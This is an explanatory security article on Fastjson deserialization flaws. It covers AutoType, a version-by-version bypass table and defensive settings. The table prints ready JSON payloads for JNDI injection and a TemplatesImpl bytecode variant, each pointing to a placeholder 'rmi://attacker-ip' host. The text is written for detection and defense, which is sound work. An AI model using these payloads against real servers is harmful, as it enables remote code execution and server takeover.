As one of the most widely used JSON parsing libraries in the Java ecosystem, Fastjson is favored for its high performance. However, its deserialization vulnerabilities—especially CVE-2022-25845—have repeatedly led to large-scale security incidents. Attackers only need to construct malicious JSON strings to achieve Remote Code Execution (RCE) and take full control of servers. This article breaks down the vulnerability’s root cause, dissects bypass techniques across versions with hands-on examples, and finally presents enterprise-grade defense strategies to help you eliminate risks completely.

I. Core Principle of Fastjson Vulnerabilities: AutoType Mechanism Is the Root Cause
The deserialization vulnerability in Fastjson essentially stems from security flaws in the AutoType mechanism. Originally designed to simplify the restoration of complex object types, this mechanism was exploited by attackers to load malicious classes and trigger dangerous operations.
1.1 How the AutoType Mechanism Works
When Fastjson parses JSON containing the @type field, it follows these steps:
- Extract Class Name: Read the fully qualified name of the target class (e.g.,
com.sun.rowset.JdbcRowSetImpl) from the@typefield. - Class Loading: Load the specified class via
ClassLoader, prioritizing cached or configured classes. - Object Instantiation: Create an instance of the class using its default constructor or inject properties via setter methods.
- Trigger Dangerous Logic: If the class contains risky methods (such as JNDI lookup or reflective code execution—e.g.,
setDataSourceNameinJdbcRowSetImpl), these methods are automatically invoked during property injection, ultimately leading to RCE.
1.2 Key Exploit Chain for Vulnerabilities
Attackers leverage the combination of automatic setter invocation and JNDI injection:
- Automatic Setter Invocation: During deserialization, Fastjson automatically calls the setter methods of all object properties. Even for private properties, adding
Feature.SupportNonPublicFieldenables this invocation. - JNDI Injection: Classes like
JdbcRowSetImplinitiate JNDI queries in theirsetDataSourceNamemethod. If an attacker-controlled RMI/LDAP address is passed, the server will load remote malicious classes and execute malicious code.
II. Practical Guide to Fastjson’s Key APIs: Serialization & Deserialization
Before analyzing vulnerabilities, it’s critical to understand Fastjson’s core API usage—this forms the basis for identifying exploit scenarios.
2.1 Dependency Configuration (Vulnerable vs. Secure Versions)
First, a critical note: All 1.x versions below 1.2.83 and 2.x versions below 2.0.45 have security risks. Vulnerable versions must be avoided in production.
<!-- Dangerous: Versions like 1.2.24 (CVE-2017-18349) and 1.2.47 (cache bypass vulnerability) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version> <!-- Vulnerable version: DO NOT USE -->
</dependency>
<!-- Secure: Recommend 1.2.83+ for 1.x, 2.0.45+ for 2.x -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version> <!-- Patched version with all known vulnerabilities fixed -->
</dependency>
2.2 Hands-On with Core APIs: Using the User Class
We first define a User class with print statements in getters/setters to visually demonstrate when methods are invoked:
package org.example;
public class User {
private String name;
private int age;
// No-arg constructor (required for deserialization; errors occur without it)
public User() {}
// Parameterized constructor
public User(String name, int age) {
this.name = name;
this.age = age;
}
// Getter: Automatically called during serialization (to read property values)
public String getName() {System.out.println("Triggered getName(): Reading'name'for serialization");
return name;
}
// Setter: Automatically called during deserialization (to inject property values)
public void setName(String name) {System.out.println("Triggered setName(): Injecting'name'for deserialization");
this.name = name;
}
// Omitted getter/setter for 'age' (logic matches above)
public int getAge() { return age;}
public void setAge(int age) {this.age = age;}
@Override
public String toString() {return "User{name='" + name + "', age=" + age + "}";
}
}
2.2.1 Serialization: Convert Java Objects to JSON
The core method is JSON.toJSONString(), with critical configuration in SerializerFeature (e.g., WriteClassName adds the @type field—this 埋下隐患 for deserialization vulnerabilities).
public class FastjsonDemo {public static void main(String[] args) {User user = new User("Zhang San", 25);
// 1. Basic serialization: No @type field
String basicJson = JSON.toJSONString(user);
System.out.println("Basic serialization result:" + basicJson);
// Output: Triggered getName(): Reading 'name' for serialization → Basic serialization result: {"age":25,"name":"Zhang San"}
// 2. Serialization with @type (enable WriteClassName)
String withTypeJson = JSON.toJSONString(
user,
SerializerFeature.WriteClassName, // Add @type field
SerializerFeature.PrettyFormat // Format output for readability
);
System.out.println("Serialization with @type:\n" + withTypeJson);
// Output: Triggered getName() → Serialization with @type:
// {
// "@type":"org.example.User",
// "age":25,
// "name":"Zhang San"
// }
}
}
2.2.2 Deserialization: Convert JSON to Java Objects
The core method is JSON.parseObject(), with risks concentrated in Feature.SupportAutoType (enables @type parsing when activated) and Feature.SupportNonPublicField (allows injection of private properties).
public class FastjsonDemo {public static void main(String[] args) {String json = "{\"@type\":\"org.example.User\",\"age\":25,\"name\":\"Zhang San\"}";
// 1. Basic deserialization: Specify target class
User user1 = JSON.parseObject(json, User.class);
System.out.println("Basic deserialization result:" + user1);
// Output: Triggered setName(): Injecting 'name' for deserialization → Basic deserialization result: User{name='Zhang San', age=25}
// 2. Enable AutoType (HIGH RISK! DO NOT use in production)
User user2 = JSON.parseObject(
json,
User.class,
Feature.SupportAutoType // Explicitly enable AutoType (extremely risky)
);
}
}
III. Vulnerabilities & Bypass Techniques Across Versions: From 1.2.24 to 1.2.80
Fastjson’s developers have repeatedly patched vulnerabilities, but attackers continue to find bypass methods. The table below summarizes key vulnerabilities and practical payloads for each version—essential references for vulnerability detection and defense.
| Affected Versions | Vulnerability Type | Core Bypass Technique | Practical Payload (Key Snippet) | Notes |
|---|---|---|---|---|
| 1.2.24 and earlier | Deserialization RCE | AutoType enabled by default; no blacklist | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true} |
No extra configuration; triggers JNDI injection directly |
| 1.2.25 ~ 1.2.41 | Blacklist Bypass (L;) | Use JVM type descriptor (L-prefixed, ;-suffixed) | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true} |
Requires server to enable setAutoTypeSupport(true) |
| 1.2.42 | Double L; Bypass | Double L and ; (LL…;;) | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true} |
Exploits single-filter flaw; auto-truncates after double characters |
| 1.2.43 | [Symbol Bypass | Prefix class name with [, suffix with [{ to close | {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64-encoded malicious bytecode"]} |
Requires Feature.SupportNonPublicField to inject private properties |
| 1.2.45 | MyBatis Class Bypass | Exploit JndiDataSourceFactory |
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://attacker-ip:1099/malicious-class"}} |
Requires MyBatis dependency in the project |
| 1.2.47 and earlier | Cache Poisoning Bypass | Cache malicious class in _classMappings first | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip:1099/malicious-class"}} |
AutoType not required; cache skips blacklist checks |
| 1.2.80 and earlier | $ref Reference Chain Bypass | Use $ref to construct exception object chain | (CVE-2022-25845) {"@type":"java.lang.Exception","@ref":"$..xx"} |
Triggers class loading via exception handling logic |
Key Bypass Analysis (Cache Poisoning in 1.2.47)
This is one of the most dangerous bypass methods—it does not require AutoType activation and bypasses blacklists solely via caching. The core logic is:
- First JSON object (a): Use the
valfield ofjava.lang.Classto storecom.sun.rowset.JdbcRowSetImplin Fastjson’s_classMappingscache. - Second JSON object (b): Directly specify the cached class via
@type. Fastjson skips blacklist checks, loads the class, and triggers JNDI injection.
In practice, attackers only need to send the above JSON string. If the target server uses version 1.2.47 or earlier, malicious code will execute.
IV. Enterprise-Grade Defense Strategies: Block Vulnerabilities at the Source
Defense against Fastjson vulnerabilities centers on disabling risky features + timely updates + strict validation. Below are 4 actionable key measures:
1. Mandatorily Upgrade to Secure Versions
This is the most fundamental defense. According to official announcements:
- For 1.x series: Upgrade to 1.2.83 or later (patches all known bypass vulnerabilities).
- For 2.x series: Upgrade to 2.0.45 or later (the 2.x series redesigned the AutoType mechanism for enhanced security).
2. Disable the AutoType Mechanism (Critical Configuration)
Even after upgrading, disable AutoType unless absolutely necessary. There are 3 configuration methods:
- Code Configuration (global effect):java 运行
// Disable AutoType to block @type parsing ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - JVM Parameter Configuration (takes effect on startup):bash
-Dfastjson.autoTypeSupport=false - Configuration File (for frameworks like Spring):Add to
application.properties:propertiesfastjson.autoTypeSupport=false
3. Enable SafeMode (Completely Block AutoType)
If your business does not require AutoType, enable SafeMode. This completely disables @type parsing—even with whitelists configured, custom classes cannot be loaded.
// Enable SafeMode to fundamentally disable AutoType
ParserConfig.getGlobalInstance().setSafeMode(true);
4. Whitelist Configuration (If Absolutely Necessary)
If your business must enable AutoType, configure a strict whitelist (only allow specified classes to be parsed) and avoid wildcards (e.g., com.company.*).
ParserConfig config = ParserConfig.getGlobalInstance();
// Add whitelist: Only allow classes under org.example
config.addAccept("org.example.");
// Avoid blacklists (easily bypassed; prioritize whitelists)
V. Frequently Asked Questions (FAQ)
Q1: Why is Feature.SupportNonPublicField required for deserializing TemplatesImpl?
A: The _bytecodes field of TemplatesImpl (which stores malicious bytecode) is private. Fastjson does not parse private properties by default. Adding this feature allows injection of Base64-encoded malicious bytecode into _bytecodes, triggering subsequent code execution.
Q2: Why must @type be the first field in the JSON?
A: Fastjson prioritizes processing the @type field during parsing. If placed later, parsing other fields may trigger exceptions (e.g., type mismatch), preventing @type from being processed and rendering the payload ineffective.
Q3: How to quickly check if a project uses a vulnerable Fastjson version?
A: 1. Check the dependency version in pom.xml or build.gradle; 2. Use tools like the Maven Dependency Plugin to view the dependency tree:
mvn dependency:tree | grep fastjson
Conclusion
Fastjson vulnerabilities arise from the combination of over-trusting user input and security flaws in the AutoType mechanism. For developers, there’s no need to deeply study every bypass technique—simply remember three principles: avoid vulnerable versions, disable AutoType, and enable SafeMode. These measures block vulnerabilities at the source and prevent your systems from becoming attacker targets.